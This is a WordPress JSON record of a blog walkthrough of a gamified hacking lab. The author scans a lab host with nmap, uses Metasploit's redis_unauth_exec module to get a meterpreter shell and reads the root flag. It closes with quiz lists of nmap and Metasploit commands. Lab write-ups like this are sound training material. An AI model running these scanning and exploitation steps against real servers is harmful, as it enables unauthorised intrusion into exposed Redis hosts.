{"id":544,"date":"2020-01-31T21:02:24","date_gmt":"2020-01-31T20:02:24","guid":{"rendered":"https:\/\/cybercop-training.ch\/?p=544"},"modified":"2020-01-31T21:02:24","modified_gmt":"2020-01-31T20:02:24","slug":"learn-it-security-with-gamification","status":"publish","type":"post","link":"https:\/\/cybercop-training.ch\/?p=544","title":{"rendered":"Learn IT-Security with gamification"},"content":{"rendered":"<p>I just stumbled accross <a href=\"https:\/\/ctfthemes.appspot.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">this<\/a> funny little browser game. It&#8217;s a nice idea of gamification where you can learn some IT-Security skills.<\/p>\n<p>I thought I&#8217;ll give it a try, so let&#8217;s play \ud83d\ude09<\/p>\n<blockquote><p>Start the lab to get a terminal on an attacker machine that has tools like Nmap, Metasploit, etc. installed. Your task is to get root on a target database server on the same network and in the process successfully complete the tasks on the left to win the cup!<\/p>\n<p><b>Finding the IP of the target server:<\/b><br \/>\nRun &#171;ip addr&#187; on the shell to find all your interface IP addresses. One of the IPs will be in the range 192.X.Y.2. Your target server has the IP 192.X.Y.3<\/p><\/blockquote>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task01.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-548\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task01.png\" alt=\"\" width=\"347\" height=\"166\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task01.png 347w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task01-300x144.png 300w\" sizes=\"auto, (max-width: 347px) 100vw, 347px\" \/><\/a><\/p>\n<p>First let&#8217;s check in the terminal what ip address we have:<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal01_1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-563\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal01_1.png\" alt=\"\" width=\"781\" height=\"254\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal01_1.png 781w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal01_1-300x98.png 300w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal01_1-768x250.png 768w\" sizes=\"auto, (max-width: 781px) 100vw, 781px\" \/><\/a><\/p>\n<p>192.34.26.2 is our ip address. Our target must be<strong> 192.34.26.3<\/strong><\/p>\n<p>For the first flag we need to know on which port the redis server is running. Let&#8217;s perform a nmap scan.<\/p>\n<blockquote><p><strong>nmap -sS -sV -p- 192.34.26.3<\/strong><\/p><\/blockquote>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal02_2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-564\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal02_2.png\" alt=\"\" width=\"773\" height=\"203\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal02_2.png 773w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal02_2-300x79.png 300w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal02_2-768x202.png 768w\" sizes=\"auto, (max-width: 773px) 100vw, 773px\" \/><\/a><\/p>\n<p>The redis server is running on port <strong>6379<\/strong> which is the first flag.<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task01_solved.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-553\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task01_solved.png\" alt=\"\" width=\"349\" height=\"164\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task01_solved.png 349w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task01_solved-300x141.png 300w\" sizes=\"auto, (max-width: 349px) 100vw, 349px\" \/><\/a><\/p>\n<p>Let&#8217;s go over to the next puzzle&#8230;<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task02.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-554\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task02.png\" alt=\"\" width=\"352\" height=\"208\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task02.png 352w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task02-300x177.png 300w\" sizes=\"auto, (max-width: 352px) 100vw, 352px\" \/><\/a><\/p>\n<p>For that we have to start the metasploit console&#8230;<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal03.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-555\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal03.png\" alt=\"\" width=\"610\" height=\"609\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal03.png 610w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal03-300x300.png 300w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal03-150x150.png 150w\" sizes=\"auto, (max-width: 610px) 100vw, 610px\" \/><\/a><\/p>\n<p>and do a query for &#171;redit&#187; to check the available exploits&#8230;<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05_1.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-566\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05_1.png\" alt=\"\" width=\"566\" height=\"298\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05_1.png 566w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05_1-300x158.png 300w\" sizes=\"auto, (max-width: 566px) 100vw, 566px\" \/><\/a><\/p>\n<p>The second flag must be: <strong>exploit\/linux\/redis\/redis_unauth_exec<\/strong><\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task03.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-559\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task03.png\" alt=\"\" width=\"353\" height=\"203\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task03.png 353w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task03-300x173.png 300w\" sizes=\"auto, (max-width: 353px) 100vw, 353px\" \/><\/a><\/p>\n<p>So let&#8217;s check if we can run this exploit against our target server that we can solve the next flag \ud83d\ude42<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task04.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-560\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task04.png\" alt=\"\" width=\"347\" height=\"183\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task04.png 347w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task04-300x158.png 300w\" sizes=\"auto, (max-width: 347px) 100vw, 347px\" \/><\/a><\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-561\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05.png\" alt=\"\" width=\"455\" height=\"52\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05.png 455w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05-300x34.png 300w\" sizes=\"auto, (max-width: 455px) 100vw, 455px\" \/><\/a><\/p>\n<blockquote><p>use <strong>exploit\/linux\/redis\/redis_unauth_exec<\/strong><\/p>\n<p>check <strong>192.34.26.3<\/strong><\/p><\/blockquote>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05_2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-567\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05_2.png\" alt=\"\" width=\"562\" height=\"78\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05_2.png 562w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal05_2-300x42.png 300w\" sizes=\"auto, (max-width: 562px) 100vw, 562px\" \/><\/a><\/p>\n<blockquote><p><strong>show options<\/strong><\/p><\/blockquote>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal06.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-571\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal06.png\" alt=\"\" width=\"781\" height=\"457\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal06.png 781w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal06-300x176.png 300w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal06-768x449.png 768w\" sizes=\"auto, (max-width: 781px) 100vw, 781px\" \/><\/a><\/p>\n<p>During documentation, the lab crashed once. After restarting I got a new ip address. Therfore attacker and target ip changed&#8230;<\/p>\n<blockquote><p><strong>set rhosts 192.60.1.3<\/strong><\/p>\n<p><strong>set lhost 192.60.1.2<\/strong><\/p>\n<p><strong>set srvhost 192.60.1.2<\/strong><\/p>\n<p><strong>check<\/strong><\/p>\n<p><strong>exploit<\/strong><\/p><\/blockquote>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal07.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-572\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal07.png\" alt=\"\" width=\"747\" height=\"323\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal07.png 747w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal07-300x130.png 300w\" sizes=\"auto, (max-width: 747px) 100vw, 747px\" \/><\/a><\/p>\n<p>We have a meterpreter shell \ud83d\ude42<\/p>\n<p>Let&#8217;s see what we find. There is a file called flag, but no run sh shell script&#8230;<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal08.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-573\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal08.png\" alt=\"\" width=\"517\" height=\"198\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal08.png 517w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal08-300x115.png 300w\" sizes=\"auto, (max-width: 517px) 100vw, 517px\" \/><\/a><\/p>\n<p>leaving the root directory and see what we have&#8230;<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal09.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-574\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal09.png\" alt=\"\" width=\"572\" height=\"372\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal09.png 572w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal09-300x195.png 300w\" sizes=\"auto, (max-width: 572px) 100vw, 572px\" \/><\/a><\/p>\n<p>Ther&#8217;s the run.sh script<\/p>\n<blockquote><p><strong>cat \/run.sh<\/strong><\/p><\/blockquote>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal10.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-575\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal10.png\" alt=\"\" width=\"445\" height=\"64\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal10.png 445w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal10-300x43.png 300w\" sizes=\"auto, (max-width: 445px) 100vw, 445px\" \/><\/a><\/p>\n<p>That&#8217;s the name of the service and our next flag<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task03_solved.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-577\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task03_solved.png\" alt=\"\" width=\"348\" height=\"183\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task03_solved.png 348w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task03_solved-300x158.png 300w\" sizes=\"auto, (max-width: 348px) 100vw, 348px\" \/><\/a><\/p>\n<p>Last flag<\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task04-2.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-578\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task04-2.png\" alt=\"\" width=\"348\" height=\"183\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task04-2.png 348w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/task04-2-300x158.png 300w\" sizes=\"auto, (max-width: 348px) 100vw, 348px\" \/><\/a><\/p>\n<blockquote><p><strong>cd \/root<\/strong><\/p>\n<p><strong>cat flag<\/strong><\/p><\/blockquote>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal11.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-579\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal11.png\" alt=\"\" width=\"557\" height=\"244\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal11.png 557w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/terminal11-300x131.png 300w\" sizes=\"auto, (max-width: 557px) 100vw, 557px\" \/><\/a><\/p>\n<p><a href=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/win.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-580\" src=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/win.png\" alt=\"\" width=\"822\" height=\"564\" srcset=\"https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/win.png 822w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/win-300x206.png 300w, https:\/\/cybercop-training.ch\/wp-content\/uploads\/2020\/01\/win-768x527.png 768w\" sizes=\"auto, (max-width: 822px) 100vw, 822px\" \/><\/a><\/p>\n<p><strong>Skills learned:<\/strong><\/p>\n<ul>\n<li>basic commands of nmap<\/li>\n<li>basic commands of metasploit with exploiting a target<\/li>\n<\/ul>\n<p><strong>basic nmap commands:<\/strong><\/p>\n<blockquote><p>First, how do you access the help menu?<br \/>\n-h<br \/>\nOften referred to as a stealth scan, what is the first switch listed for a &#8218;Syn Scan&#8216;?<br \/>\n-sS<br \/>\nNot quite as useful but how about a &#8218;UDP Scan&#8216;?<br \/>\n-sU<br \/>\nWhat about operating system detection?<br \/>\n-O<br \/>\nHow about service version detection?<br \/>\n-sV<br \/>\nMost people like to see some output to know that their scan is actually doing things, what is the verbosity flag?<br \/>\n-v<br \/>\nWhat about &#8218;very verbose&#8216;? (A personal favorite)<br \/>\n-vv<br \/>\nSometimes saving output in a common document format can be really handy for reporting, how do we save output in xml format?<br \/>\n-oX<br \/>\nAggressive scans can be nice when other scans just aren&#8217;t getting the output that you want and you really don&#8217;t care how &#8218;loud&#8216; you are, what is the switch for enabling this?<br \/>\n-A<br \/>\nHow do I set the timing to the max level, sometimes called &#8218;Insane&#8216;?<br \/>\n-T5<br \/>\nWhat about if I want to scan a specific port?<br \/>\n-p<br \/>\nHow about if I want to scan every port?<br \/>\n-p-<br \/>\nWhat if I want to enable using a script from the nmap scripting engine? For this, just include the first part of the switch without the specification of what script to run.<br \/>\n&#8211;script<br \/>\nWhat if I want to run all scripts out of the vulnerability category?<br \/>\n&#8211;script vuln<br \/>\nWhat switch should I include if I don&#8217;t want to ping the host?<br \/>\n-Pn<\/p><\/blockquote>\n<p><strong>basic metasploit commands:<\/strong><\/p>\n<blockquote><p>how do you start the metasploit console?<br \/>\n<strong>msfconsole<\/strong><br \/>\nwhat command do you use to search for a specific exploit?<br \/>\n<strong>search &#171;service or exploit name&#187;<\/strong><br \/>\nhow do you use a specific exploit?<br \/>\n<strong>use \/exploit\/path<\/strong><br \/>\nhow do you check if a target is vulnerable after a exploit is loaded?<br \/>\n<strong>check &#171;target ip address&#187;<\/strong><br \/>\nhow do you get the option switches of a specific exploit?<br \/>\n<strong>show options<\/strong><br \/>\nhow do you show and use payloads of a specific exploit?<br \/>\n<strong>show payloads<\/strong><br \/>\n<strong>set payload linux\/&#8230;<\/strong><br \/>\nhow do you configure the exploit options?<br \/>\n<strong>set rhosts<\/strong><br \/>\n<strong>set lhost<\/strong><br \/>\n<strong>set srvhost<\/strong><br \/>\nhow do you run a specific exploit?<br \/>\n<strong>exploit<\/strong><\/p><\/blockquote>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"mh-excerpt\"><p>I just stumbled accross this funny little browser game. It&#8217;s a nice idea of gamification where you can learn some IT-Security skills. I thought I&#8217;ll <a class=\"mh-excerpt-more\" href=\"https:\/\/cybercop-training.ch\/?p=544\" title=\"Learn IT-Security with gamification\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":2,"featured_media":545,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,4],"tags":[],"class_list":["post-544","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-general-security-links","category-hacking"],"_links":{"self":[{"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=\/wp\/v2\/posts\/544","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=544"}],"version-history":[{"count":12,"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=\/wp\/v2\/posts\/544\/revisions"}],"predecessor-version":[{"id":582,"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=\/wp\/v2\/posts\/544\/revisions\/582"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=\/wp\/v2\/media\/545"}],"wp:attachment":[{"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=544"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=544"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybercop-training.ch\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=544"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}